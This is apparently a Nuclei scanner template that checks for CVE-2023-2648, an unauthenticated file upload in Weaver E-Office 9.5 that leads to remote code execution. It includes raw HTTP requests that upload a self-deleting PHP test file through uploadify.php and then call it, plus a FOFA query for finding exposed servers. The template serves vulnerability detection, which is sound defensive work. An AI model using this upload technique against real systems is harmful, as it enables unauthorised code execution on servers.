78 lines
2.9 KiB
YAML
78 lines
2.9 KiB
YAML
id: CVE-2023-2648
|
|
|
|
info:
|
|
name: Weaver E-Office 9.5 - Remote Code Execution
|
|
author: ritikchaddha
|
|
severity: critical
|
|
description: |
|
|
A vulnerability was found in Weaver E-Office 9.5. It has been classified as critical. This affects an unknown part of the file /inc/jquery/uploadify/uploadify.php. The manipulation of the argument Filedata leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-228777 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
|
remediation: |
|
|
Apply the latest security patch or upgrade to a patched version of Weaver E-Office.
|
|
reference:
|
|
- https://github.com/sunyixuan1228/cve/blob/main/weaver.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-2648
|
|
- https://vuldb.com/?ctiid.228777
|
|
- https://vuldb.com/?id.228777
|
|
- https://github.com/bingtangbanli/cve-2023-2523-and-cve-2023-2648
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-2648
|
|
cwe-id: CWE-434
|
|
epss-score: 0.08638
|
|
epss-percentile: 0.94483
|
|
cpe: cpe:2.3:a:weaver:e-office:9.5:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: weaver
|
|
product: e-office
|
|
fofa-query:
|
|
- app="泛微-EOffice"
|
|
- app="泛微-eoffice"
|
|
tags: cve2023,cve,weaver,eoffice,ecology,fileupload,rce,intrusive
|
|
variables:
|
|
file: '{{rand_base(5, "abc")}}'
|
|
string: "CVE-2023-2648"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
|
|
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
|
Content-Disposition: form-data; name="Filedata"; filename="{{file}}.php."
|
|
Content-Type: image/jpeg
|
|
|
|
<?php echo md5("{{string}}");unlink(__FILE__);?>
|
|
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
|
|
- |
|
|
POST /attachment/{{name}}/{{file}}.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '{{md5(string)}}'
|
|
|
|
- type: status
|
|
part: body_2
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: name
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- "([0-9]+)"
|
|
internal: true
|
|
# digest: 4b0a00483046022100a44e0179362f362e905d1f609ac0e6b82953168cbcaa131defd1fd0d955a9ea4022100a1cebf6f55d89a80c2c0827b351c7ae189a38b42c694d472df9df4d44d960929:922c64590222798bb761d5b6d8e72950 |